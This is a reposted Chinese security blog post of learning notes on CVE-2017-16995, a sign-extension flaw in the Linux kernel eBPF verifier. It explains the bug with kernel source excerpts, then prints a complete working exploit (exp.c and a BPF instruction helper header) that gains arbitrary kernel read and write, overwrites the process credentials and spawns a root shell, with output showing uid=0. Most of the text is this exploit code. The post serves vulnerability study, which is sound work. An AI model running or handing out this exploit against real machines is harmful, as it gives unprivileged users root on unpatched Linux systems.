CVE-2017-16995 ebpf 符号扩展漏洞学习笔记
2020-04-16 11:13:52 Author: www.secpulse.com(查看原文) 阅读量:322 收藏

c7ca660af8894999ba5019c99d4e3edb.jpg

漏洞分析

关于这个漏洞网上已经有很多的文章分析了,这里不做太多描述,只记录一些比较重要的点。

首先是ebpf,上一张图:

5d244696fa20456caa2da3fc60fb4b47.jpg

ebpf首先需要ring3传入一段指令(传到JIT),它会在BPF_PROG_RUN里做包过滤, 内核会申请一块共享内存(MAP),内核的数据经过过滤之后放到MAP里面,然后ring3就可以读写MAP来获取内核数据。

这个漏洞简单来说就是符号扩展没有检查好,像前面说的,ebpf分成verifier和BPF_PROG_RUN 两个部分。

传入的指令其实就是原本x64上指令的一个映射,它会检查指令的CFG,是不是有非法内存访问之类的(如果可以的话就直接是内核代码注入了,可以任意执行代码),效率上的考虑,会忽略掉一些分支的检查,像下面这样,r9的值固定是0xffffffff,那么就不会跳转到[4]的部分,所以就不用检查它了,节省时间。

         ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4

首先看上面第一条指令ALU_MOV_K(9,0xffffffff),它等效于r9 = 0xffffffff,对应的代码在:

https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782

                if (class == BPF_ALU || class == BPF_ALU64) {
                        err = check_alu_op(env, insn);
                        if (err)
                                return err;

                } else if (class == BPF_LDX) {

调用check_alu_op函数,最后调用regs[insn->dst_reg].imm = insn->imm;,这里的立即数是用signed int保存的。

//ptype struct reg_state
type = struct reg_state {
    enum bpf_reg_type type;
    union {
        int imm;
        struct bpf_map *map_ptr;
    };
}
//
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){
        struct reg_state *regs = env->cur_state.regs;
        u8 opcode = BPF_OP(insn->code);
        int err;
//...

        } else if (opcode == BPF_MOV) {

//..
                if (BPF_SRC(insn->code) == BPF_X) {
                //...
                } else {// BPF_K  <===========================================
                        /* case: R = imm
                         * remember the value we stored into this reg
                         */
                        regs[insn->dst_reg].type = CONST_IMM;
                        regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit
                }
//...

        return 0;
}

然后第二条指令JMP_JNE_K(9,0xffffffff,2),其检查在check_cond_jmp_op函数里,这时候用的imm依然是signed int类型,然后后续检查的时候发现前面r9和JMP_JNE_K的imm一样,于是就不去检查[4]开始的指令了。

/* ptype struct reg_state
type = struct reg_state {
    enum bpf_reg_type type;
    union {
        int imm;
        struct bpf_map *map_ptr;
    };
}

*/
static int check_cond_jmp_op(struct verifier_env *env,
                             struct bpf_insn *insn, int *insn_idx){
        struct reg_state *regs = env->cur_state.regs;
        struct verifier_state *other_branch;
        u8 opcode = BPF_OP(insn->code);
        int err;

        //....
        } else if (BPF_SRC(insn->code) == BPF_K &&
                   (opcode == BPF_JEQ || opcode == BPF_JNE)) {

                if (opcode == BPF_JEQ) {
                //...
                } else {
                        /* detect if (R != imm) goto
                         * and in the fall-through state recognize that R = imm
                         */
                        regs[insn->dst_reg].type = CONST_IMM;
                        regs[insn->dst_reg].imm = insn->imm;
                }
        }
        if (log_level)
                print_verifier_state(env);
        return 0;
}

然后到了运行的之后,对应__bpf_prog_run 函数:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195

ALU_MOV_K:DST=(u32)IMM这个时候DST=0xffffffff

JMP_JNE_K:比较DST和IMM,此时IMM是signed int类型,DST 是 uint64_t 类型, IMM会做位扩展,原来的0xffffffff也就是-1变成0xffffffff ffffffff,0xffffffff != 0xffffffff ffffffff,于是就会跳到前面指令的LD_IMM_DW(9,1,3), // [4] r9=mapfd开始执行,verifrier的时候并没有这一段指令做检查,这时候就可以在内核做任意代码执行了。

#define DST regs[insn->dst_reg]        // uint64_t
#define SRC regs[insn->src_reg]        // uint64_t
#define FP  regs[BPF_REG_FP]           
#define ARG1    regs[BPF_REG_ARG1]     
#define CTX regs[BPF_REG_CTX]         
#define IMM insn->imm      // signed int            
//..
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
        u64 stack[MAX_BPF_STACK / sizeof(u64)];
        u64 regs[MAX_BPF_REG], tmp;
//.....
        ALU_MOV_K:
                DST = (u32) IMM;
                CONT;
//...
        JMP_JNE_K:
                if (DST != IMM) {
                        insn += insn->off;
                        CONT_JMP;
                }
                CONT;
//...
}

我们可以写一段代码验证一下:

#include  <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>

int main(int argc,char **argv){
    setbuf(stdout,0);

    int imm = 0xffffffff;

    uint64_t dst = (uint32_t)0xffffffff;

    if( dst != imm){
        printf("vuln\n");
    }

    return 0;
}

输出的结果是vuln,接下来是如何利用。

漏洞利用

漏洞利用的话,前面的分析我们知道可以在内核任意代码执行,手写ebpf的指令(其实就和我们手写汇编一样),基本利用思路如下:

  • 泄露出task_struct的地址

  • 借助task_struct地址泄露出cred地址

  • 直接内存写改uid,gid,然后/bin/sh getshell

复现的环境我用的内核是4.4.110版本, 附件中有我的config文件,主要是加上CONFIG_BPF=y 和CONFIG_BPF_SYSCALL=y

这里使用的bpf指令如下,参照panda师傅的分析:

                ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
// 下面指令不会做检查
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]  padding
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4
         ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
//fixup_bpf_calls
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
         JMP_EXIT(),                        // [12] exit
         LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]

         // r7 =map[1]
         ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4
         ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
         JMP_EXIT(),                        // [20] exit
         LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]

         // r8=map[2]
         ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4
         ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
         JMP_EXIT(),                        // [28] exit
         LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]

         ALU64_MOV_X(2,0),                  // [30] r2 =  r0
         ALU64_MOV_K(0,0),                  // [31] r0 =  0
// map[0] == 0 任意地址读
         JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
         LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
         STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
         JMP_EXIT(),                        // [35] exit
// map[0] == 1  leak rbp addr
         JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
         STX_MEM_DW(2,0,10),                // [37] [r2] = r10 (rbp)
         JMP_EXIT(),                        // [38] exit
// map[0] == 2 任意地址写
         STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
         JMP_EXIT(),                        // [40] exit

首先是r6=map[0],r7=map[1],r8=map[2] (map 是前面提到的共享内存)

然后是三个判断:

  • map[0]==0时,根据 map[1] 的值来读内存;

  • map[0]==1时,获取rbp的值==>addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;

  • map[0] ==2时,*map[1]= map[2]([r7]=r8)。

exp

完整exp 如下 , exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include "bpf_insn_helper.h"

typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void logs(char *tag,char *buf){
    printf("[ s]: ");
    printf(" %s ",tag);
    printf(": %s\n",buf);
}
void logx(char *tag,uint32_t num){
    printf("[ x] ");
    printf(" %-20s ",tag);
    printf(": %-#8x\n",num);
}
void loglx(char *tag,uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lx\n",num);
}
void bp(char *tag){
    printf("[bp] : %s\n",tag);
    getchar();
}

void init(){
    setbuf(stdin,0);
    setbuf(stdout,0);
}

int mapfd,progfd;
int sockets[2];
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5b0 //0x5f8
#define UID_OFFSET 0x4

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
                  const struct bpf_insn *insns, int prog_len,
                  const char *license, int kern_version) {
        union bpf_attr attr = {
                .prog_type = prog_type,
                .insns = (__u64)insns,
                .insn_cnt = prog_len / sizeof(struct bpf_insn),
                .license = (__u64)license,
                .log_buf = (__u64)bpf_log_buf,
                .log_size = LOG_BUF_SIZE,
                .log_level = 1,
        };

        attr.kern_version = kern_version;

        bpf_log_buf[0] = 0;

        return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
                   int max_entries) {
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries
        };

        return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)&key,
                .value = (__u64)&value,
                .flags = 0,
        };

        return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
        union bpf_attr attr = {
                .map_fd = mapfd,
                .key = (__u64)key,
                .value = (__u64)value,
        };

        return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
        fprintf(stderr, "error: %s\n", err);
        exit(-1);
}

static void writemsg(void) {
        char buffer[64];

        ssize_t n = write(sockets[0], buffer, sizeof(buffer));

        if (n < 0) {
                perror("write");
                return;
        }
        if (n != sizeof(buffer))
                fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
        bpf_update_elem(0, (a)); \
        bpf_update_elem(1, (b)); \
        bpf_update_elem(2, (c)); \
        writemsg();

static uint64_t get_value(int key) {
        uint64_t value;

        if (bpf_lookup_elem(&key, &value))
                __exit(strerror(errno));

        return value;
}

static uint64_t __get_fp(void) {
        __update_elem(1, 0, 0);

        return get_value(2);
}

static uint64_t __read(uint64_t addr) {
        __update_elem(0, addr, 0);

        return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
        __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
        return addr & ~(0x4000 - 1);
}

static void pwn(void) {
    printf("pwning\n");
        uint64_t fp, sp, task_struct, credptr, uidptr;

        fp = __get_fp();
    loglx("fpsome",fp);
        if (fp < PHYS_OFFSET)
                __exit("bogus fp");

        sp = get_sp(fp);
        if (sp < PHYS_OFFSET)
                __exit("bogus sp");

        task_struct = __read(sp);

        if (task_struct < PHYS_OFFSET)
                __exit("bogus task ptr");

        printf("task_struct = %lx\n", task_struct);

        credptr = __read(task_struct + CRED_OFFSET); // cred

        if (credptr < PHYS_OFFSET)
                __exit("bogus cred ptr");

    uidptr = credptr + UID_OFFSET; // uid
    /*uidptr = credptr + 4; // uid*/
        if (uidptr < PHYS_OFFSET)
                __exit("bogus uid ptr");

        printf("uidptr = %lx\n", uidptr);
        __write(uidptr, 0);
        __write(uidptr+0x8, 0);
    __write(uidptr+0x10, 0);

        if (geteuid() == 0) {
                printf("spawning root shell\n");
        system("/bin/sh");
                exit(0);
        }
        __exit("not vulnerable?");

}
int main(int argc,char **argv){
    init();

     struct bpf_insn insns[] = {
         ALU_MOV_K(9,0xffffffff),           // [0]  r9 = 0xffffffff
         JMP_JNE_K(9,0xffffffff,2),         // [1]  if r9 != 0xffffffff:  jmp [4]
         ALU64_MOV_K(0,0x0),                // [2]  r0 = 0
         JMP_EXIT(),                        // [3]  exit
         LD_IMM_DW(9,1,3),                  // [4]  r9 =  mapfd
         BPF_INSN_NEG,                      // [5]
          //r6 = map[0]
         ALU64_MOV_X(1,9),                  // [6]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [7]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [8]  r2 =  r2 -4
         ST_MEM_W(10,-4,0),                 // [9]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [11] if r0 != 0 : jmp [13]
         JMP_EXIT(),                        // [12] exit
         LDX_MEM_DW(6,0,0),                 // [13] r6 = [r0]

         // r7 =map[1]
         ALU64_MOV_X(1,9),                  // [14]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [15]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [16]  r2 =  r2 -4
         ST_MEM_W(10,-4,1),                 // [17]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [19] if r0 != 0 : jmp [21]
         JMP_EXIT(),                        // [20] exit
         LDX_MEM_DW(7,0,0),                 // [21] r7 = [r0]

         // r8=map[2]
         ALU64_MOV_X(1,9),                  // [22]  r1 =  r9
         ALU64_MOV_X(2,10),                 // [23]  r2 =  r10 (rbp)
         ALU64_ADD_K(2,-4),                 // [24]  r2 =  r2 -4
         ST_MEM_W(10,-4,2),                 // [25]  [r10 - 4] =0
         JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
         JMP_JNE_K(0,0,1),                  // [27] if r0 != 0 : jmp [29]
         JMP_EXIT(),                        // [28] exit
         LDX_MEM_DW(8,0,0),                 // [29] r8 = [r0]

         ALU64_MOV_X(2,0),                  // [30] r2 =  r0
         ALU64_MOV_K(0,0),                  // [31] r0 =  0
         JMP_JNE_K(6,0,3),                  // [32] if r6 !=0: jmp [36]
         LDX_MEM_DW(3,7,0),                 // [33] r3 = [r7] (map[1])
         STX_MEM_DW(2,0,3),                 // [34] [r2] = r3
         JMP_EXIT(),                        // [35] exit
         JMP_JNE_K(6,1,2),                  // [36] if r6 !=1: jmp [39]
         STX_MEM_DW(2,0,10),                // [37] [r2] = r10
         JMP_EXIT(),                        // [38] exit
         STX_MEM_DW(7,0,8),                 // [39] [r7] = r8
         JMP_EXIT(),                        // [40] exit

     };
     /*for(int i=0;i<PROGSIZE/8;i++){*/
         /*loglx("code : ",*(u64 *)&insns[i]);*/
     /*}*/

     logx("insns",sizeof(insns));
        mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
        if (mapfd < 0)
                __exit(strerror(errno));
        puts("mapfd finished");
        progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                        insns, sizeof(insns), "GPL", 0);

        if (progfd < 0){
                __exit(strerror(errno));
    }
    puts("progfd finish");
        if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
                __exit(strerror(errno));
    }
        puts("socketpair finished");
        if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
                __exit(strerror(errno));
    }

    pwn();
    return 0;
}

bpf_insn_helper.h

#ifndef _BPF_INSN_HELPER_H__
#define _BPF_INSN_HELPER_H__
#include <linux/bpf.h>

#define ALU_NEG BPF_ALU | BPF_NEG
#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE  
#define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE  
#define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X
#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K
#define F_ALU64_NEG   BPF_ALU64 | BPF_NEG         

#define BPF_INSN_NEG \
    ((struct bpf_insn) { \
     .code = 0, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU_OP_K(OP,DST,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = 0, \
     .imm = IMM \
    })

#define ALU_OP_X(OP,DST,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_ALU | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU64_OP_K(OP,DST,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = 0, \
     .imm = IMM \
    })

#define ALU64_OP_X(OP,DST,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = 0 \
    })

#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)
#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)
#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)
#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)
#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)
#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)
#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)
#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)
#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)
#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)
#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)

#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)
#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)
#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)
#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)
#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)
#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)
#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)
#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)
#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)
#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)
#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)

#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)
#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)
#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)
#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)
#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)
#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)
#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)
#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)
#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)
#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)
#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)

#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)
#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)
#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)
#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)
#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)
#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)
#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)
#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)
#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)
#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)
#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)

#define JMP_OP_K(OP,DST,IMM,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = OFF, \
     .imm = IMM \
    })

#define JMP_OP_X(OP,DST,SRC,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })
#define F_JMP_JA     BPF_JMP | BPF_JA            
#define F_JMP_CALL       BPF_JMP | BPF_CALL         
#define F_JMP_TAIL_CALL  BPF_JMP | BPF_CALL | BPF_X

#define JMP_EXIT() \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_EXIT, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = 0 \
    })
#define JMP_CALL(FUNC) \
    ((struct bpf_insn) { \
     .code = BPF_JMP | BPF_CALL, \
     .dst_reg = 0, \
     .src_reg = 0, \
     .off = 0, \
     .imm = FUNC \
    })

#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)
#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)
#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)
#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)
#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)
#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)
#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)

#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)
#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)
#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)
#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)
#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)
#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)
#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)
#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)

// [ det_reg + off ] =  src
#define STX_MEM_OP(SIZE,DST,OFF,SRC) \
    ((struct bpf_insn) { \
     .code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })

// [ dst_reg + off ] = IMM
#define ST_MEM_OP(SIZE,DST,OFF,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = 0, \
     .off = OFF, \
     .imm = IMM \
    })

#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W  
#define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW
#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)
#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)
#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)
#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)

#define STX_MEM_B(DST,OFF,SRC)    STX_MEM_OP(BPF_B,DST,OFF,SRC)
#define STX_MEM_H(DST,OFF,SRC)    STX_MEM_OP(BPF_H,DST,OFF,SRC)
#define STX_MEM_W(DST,OFF,SRC)    STX_MEM_OP(BPF_W,DST,OFF,SRC)
#define STX_MEM_DW(DST,OFF,SRC)  STX_MEM_OP(BPF_DW,DST,OFF,SRC)

#define LD_ABS_W  BPF_LD | BPF_ABS | BPF_W   
#define LD_ABS_H  BPF_LD | BPF_ABS | BPF_H   
#define LD_ABS_B  BPF_LD | BPF_ABS | BPF_B   
#define LD_IND_W  BPF_LD | BPF_IND | BPF_W   
#define LD_IND_H  BPF_LD | BPF_IND | BPF_H   
#define LD_IND_B  BPF_LD | BPF_IND | BPF_B   

// dst_reg =  [src_reg + off ]
#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \
    ((struct bpf_insn) { \
     .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = OFF, \
     .imm = 0 \
    })

// [ src_reg + off ] = IMM
#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \
    ((struct bpf_insn) { \
     .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \
     .dst_reg = DST, \
     .src_reg = SRC, \
     .off = 0, \
     .imm = IMM \
    })

#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)

#define LDX_MEM_B(DST,SRC,OFF)   LDX_MEM_OP(BPF_B,DST,SRC,OFF)
#define LDX_MEM_H(DST,SRC,OFF)   LDX_MEM_OP(BPF_H,DST,SRC,OFF)
#define LDX_MEM_W(DST,SRC,OFF)   LDX_MEM_OP(BPF_W,DST,SRC,OFF)
#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)

#endif

运行的效果如下:

~ $ /exp                                                   
[ x]  insns                : 0x148                        
mapfd finished                                             
progfd finish                                             
socketpair finished                                       
pwning                                                     
[lx]  fpsome               : 0xffff8800001b7cc0            
task_struct = ffff88000d002e00                             
uidptr = ffff88000dc11f04                                 
spawning root shell                                       
/home/pwn # id                                             
uid=0(root) gid=0 groups=1000                              
/home/pwn #                        

小结

cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。

本文作者:i春秋聚集地

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128382.html


文章来源: https://www.secpulse.com/archives/128382.html
如有侵权请联系:admin#unsafe.sh